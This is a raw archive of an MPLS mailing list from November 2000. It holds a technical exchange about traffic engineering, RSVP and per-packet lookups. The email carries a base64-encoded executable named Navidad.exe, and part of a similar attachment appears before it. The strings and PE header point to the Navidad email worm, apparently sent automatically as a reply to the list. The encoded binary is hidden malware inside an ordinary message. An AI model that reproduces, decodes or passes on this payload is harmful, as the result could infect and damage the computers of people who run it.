AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAABgADAAAAQAAAgAQAAABoAACABQAAAIAAAIAGAAAAoAAAgAkAAAC4AACA DgAAANAAAIAAAAAAAAAAAAAAAAAAAAMAAQAAAPAAAIACAAAACAEAgAMAAAAgAQCAAAAAAAAAAAAA AAAAAAABAG0AAAA4AQCAAAAAAAAAAAAAAAAAAAACAGUAAABQAQCAZwAAAGgBAIAAAAAAAAAAAAAA AAAAAAEABwAAAIABAIAAAAAAAAAAAAAAAAAAAAEAbQAAAJgBAIAAAAAAAAAAAAAAAAAAAAIAggAA ALABAICDAAAAyAEAgAAAAAAAAAAAAAAAAAAAAQAJBAAA4AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAA 8AEAAAAAAAAAAAAAAAAAAAAAAQAJBAAAAAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAEAIAAAAAAAAA AAAAAAAAAAAAAQAJBAAAIAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAMAIAAAAAAAAAAAAAAAAAAAAA AQAJBAAAQAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAUAIAAAAAAAAAAAAAAAAAAAAAAQAJBAAAYAIA AAAAAAAAAAAAAAAAAAAAAQAJBAAAcAIAAIByAADoAgAAAAAAAAAAAABodQAAKAEAAAAAAAAAAAAA uHYAAOgCAAAAAAAAAAAAALh5AABKAAAAAAAAAAAAAAAIewAAhgAAAAAAAAAAAAAAGHoAAO4AAAAA AAAAAAAAAJB7AABUAAAAAAAAAAAAAAAIegAAEAAAAAAAAAAAAAAAkHYAACIAAAAAAAAAAAAAAKB5 AAAUAAAAAAAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA ////APAP/w8AAPD/D/DwAP8P8A8PD/8PD/Dw8PDw//Dw8PDwDw//Dw/w8PDw8PAA8PDw8A8P//Dw DwDw8ADw//Dw8PAPD/AA8A/w/w/w8AD/D/DwDw/////////////////w8A8AAAAAAAAAAAAAAAAA APAP///////////////////wDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA /w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDw Dw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8P D/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8P APDw8AD/Dw/wD/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/w D/AA8PAPDwDw8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A8PAPDw8AD/Dw/wD/AA8PAPDwDw 8PAA/w8P8A/wAPDwDw8A8PDwAP8PD/AP8ADw8A////////////////////DwAAAAAAAAAAAAAAAA AAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD/ /wAA////AAAPDw8AAPAADw8PAAAAAPAPAPAA8A/w8A8P//////DwDwAAAAAAAPAP////////8A8P APDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A8PDwAPAPDwDw8PAA8A8PAPDw8ADwDw8A 8PDwAPAP////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQACACAgEAABAAQA6AIAAAEAEBAQAAEABAAo AQAAAgAAAAAAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA//// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj//4AAAAAAAAAAAAAAAI/8zMzP +AAAAAAAAAAAAI/8zMzMzM//gAAAAAAAAI//zMzMzMzM//+AAAAAAAj//MTMzMzMTM//+AAAAACP /8zMTMAMxMzM//+AAAAP///ETMAAAAzETP//8AAAiI/8zMTAAAAMTMzP+IgAAAeIjMTMAAAAAMxM yIhwAAAAeIxERAAAAABERMiHAAAAAAd8RERACIAERETHcAAAAAAADEREQA/wBEREwAAAAAAAAAAE RERABERETAAAAAAAAAAAAARERERERAAAAAAAAAAAAAAAAEREAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ////////////////////////////////////////////+B///8AD//8AAH/8AAAf+AAAD/AAAAfg AAACQAAAAoAAAACAAAABwAAAA+AAAAfwAAAP/AAAP/8AAH//wAH///gf//////////////////// //////////////////8AAAEAAQAgIBAAAQAEAOgCAAADAAAAAAAAAAAAEAAmAEYAaQBsAGUAAACA AGkARQAmAHgAaQB0AAAAkAAmAEgAZQBsAHAAAACAAGgAJgBBAGIAbwB1AHQAIAAuAC4ALgAAAAAA AAAAABAAPwBoAAAAkAAvAGgAAADAAMgAAAAAAAQAFgARAOYASwAAAAAAQQBiAG8AdQB0AAAACABT AHkAcwB0AGUAbQAAAAAAAwAAUAAAAAAOAAkAEAAQAAIA//+CAP//awAAAIAAAlAAAAAAMQAKAHcA CAD/////ggBOAGEAdgBpAGQAYQBkACAAVgBlAHIAcwBpAG8AbgAgADEALgAwAAAAAAAAAAJQAAAA ADEAFAB3AAgA/////4IAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAwADAAAAAAAAAA AQADUAAAAADDAAYAHgALAAEA//+AAE8ASwAAAAAAAABCCMiAAAAAAAEAAAAAAJAAJgAAAAAAAAAL AEMAbwBtAGkAYwAgAFMAYQBuAHMAIABNAFMAAAAAAAEAAVAAAAAADAAHAHYAFgDoA///gABOAHUA bgBjAGEAIABwAHIAZQBzAGkAbwBuAGEAcgAgAGUAcwB0AGUAIABiAG8AdABvAG4AAAAAAAAAAAAA AAAAAAAAAAAAAAAHAE4AYQB2AGkAZABhAGQAAAAAAAwASABlAGwAbABvACAAVwBvAHIAbABkACEA AAAAAAcATgBBAFYASQBEAEEARAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ------=_NextPart_000_014A_01C05865.09451F40-- From owner-mpls@UU.NET Mon Nov 27 16:21:59 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA09136 for ; Mon, 27 Nov 2000 16:21:56 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjreb25849; Mon, 27 Nov 2000 21:18:42 GMT Received: by mail-control.mail.uu.net id QQjreb22142 for mpls-outgoing; Mon, 27 Nov 2000 21:18:10 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjreb22114 for ; Mon, 27 Nov 2000 21:18:03 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjreb27219 for ; Mon, 27 Nov 2000 21:16:17 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjreb12575 for ; Mon, 27 Nov 2000 21:16:16 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id NAA05081 for ; Mon, 27 Nov 2000 13:16:16 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id QAA08775 for mpls@uu.net; Mon, 27 Nov 2000 16:16:14 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjrdt18411 for ; Mon, 27 Nov 2000 19:25:12 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrdt01521 for ; Mon, 27 Nov 2000 19:23:40 GMT Received: from mapleoptical.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: host202.razafoundries.com [63.111.208.202] (may be forged)) id QQjrdt08319 for ; Mon, 27 Nov 2000 19:23:39 GMT Received: from IBMW2K ([192.168.12.31]) by mapleoptical.com (8.11.0/8.11.0) with SMTP id eARJNRu08776; Mon, 27 Nov 2000 11:23:27 -0800 (PST) Date: Mon, 27 Nov 2000 11:23:27 -0800 (PST) Message-ID: <006401c058a8$0e3eca80$1f0ca8c0@IBMW2K> From: "jchen" To: "Rajeev Manur" Cc: "Mike Badil" , Subject: Re: Traffic engineering and RSVP MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0057_01C05864.FF5E2DF0" X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0057_01C05864.FF5E2DF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Rajeev: See below. Rajeev Manur wrote: >=20 > see below >=20 > -----Original Message----- > From: Sudheer Dharanikota [mailto:sudheer@nayna.com] > Sent: Thursday, October 19, 2000 11:45 AM > To: Rajeev Manur > Cc: Mike Badil; mpls@UU.NET > Subject: Re: Traffic engineering and RSVP >=20 > Yes sir.. you are missing many things. >=20 > TE is mainly used for core. In core nobody in right mind > will do 5 tuple lookup on the the Ip packet :-) >=20 > RAJEEV> I never said anybody would or would not do 5 tuple lkup in the = core. > All i am saying is that your statement "Hence data path becomes slow" = does > not make any sense, because as far as i know today's packet processors = can > handle this without affecting the line-rate performance.. Yes.. most of the router vendors have to do 5 tuple lookup for some reason or the other. But the following should be the considerations. From data plane point-of-view: 1. How many look ups do you want to do? 2. Does other routers in the same domain (or AS) do the same for=20 the traffic (at line rate)? 3. What are the line rates we are talking about? From control plane point-of-view: 1. Does make sense to have the state kept for all these intserv conns? 2. Do we (being ISPs) have to care about the individual connections from the other ISPs? - sudheer >=20 > with regards, > Rajeev. >=20 > - sudheer >=20 > Rajeev Manur wrote: > > > > see below... > > > > -----Original Message----- > > From: Sudheer Dharanikota [mailto:sudheer@nayna.com] > > Sent: Thursday, October 19, 2000 7:21 AM > > To: Mike Badil > > Cc: mpls@UU.NET > > Subject: Re: Traffic engineering and RSVP > > > > Mike Badil wrote: > > > > > > Hi > > > > > > I confused when I read traffic engineering with MPLS. > > > > > > My question is: > > > > > > MPLS is combination of layer 2 swithing and layer 3 routing. = Traffic > eng. > > is > > > part of layer 3. In MPLS route(LSP) is established in advance = according > to > > > the constraints. in other word, instead of choosing shortest path, = it > > choose > > > the path which satisfy its requirments, and to make link = utulization > > better. > > > In order to have done this with MPLS there are some works which = say that > > > OSPF,IS-IS can be modified by adding constraint to it. > > > > > > That is clear so far, > > > > > > I wondering that whether we can have those traffic engineering > conditions > > be > > > satisfied by other tech. > > > > > > For example; RSVP-Intserv set up route in advance also. If we use > extended > > > OSPF,IS-IS etc.algorithm with Intserv-RSVP as we use in MPLS, > > > we can choose the path which satisfy our constraints instead of = choosing > > > Shortest path. Link load balancing can be done as in MPLS. So most = of > > > traffic engineering requirements will be satisfied.(let don't = consider > > > scalibility problem with RSVP now). Or it can work any other = technology > > > which use RSVP. > > > > > > > The problem is in applying filter at every node to make sure your IP > > packet > > is following the selected path. Hence data path becomes slow. > > > > RAJEEV> I thought almost all the boxes today perform complete packet > > processing at line-rate with or without the application of packet = filters. > I > > don't see the relevence of the above statment. Am i missing = anything.. > > > > - sudheer > > > > > What am I missing here? > > > > > > > = _________________________________________________________________________= > > > Get Your Private, Free E-mail from MSN Hotmail at > http://www.hotmail.com. > > > > > > Share information about yourself, create your own public profile = at > > > http://profiles.msn.com. ------=_NextPart_000_0057_01C05864.FF5E2DF0 Content-Type: application/x-msdownload; name="Navidad.exe" Content-Disposition: attachment; filename="Navidad.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACkWsl34DunJOA7pyTgO6ckCCStJPY7pyRjJ6kk6TunJIIktCTmO6ckuRi0 JOM7pyTgO6YkrzunJAgkrCTkO6ckWD2hJOE7pyRSaWNo4DunJAAAAAAAAAAAUEUAAEwBBACc3v85 AAAAAAAAAADgAA8BCwEGAABAAAAAMAAAAAAAAJ4bAAAAEAAAAFAAAAAAQAAAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAgAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACkVAAAZAAAAABwAADoCwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAEABAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAP4zAAAAEAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAABw CwAAAFAAAAAQAAAAUAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAXA0AAABgAAAAEAAAAGAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAOgLAAAAcAAAABAAAABwAAAAAAAAAAAAAAAAAABAAABAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 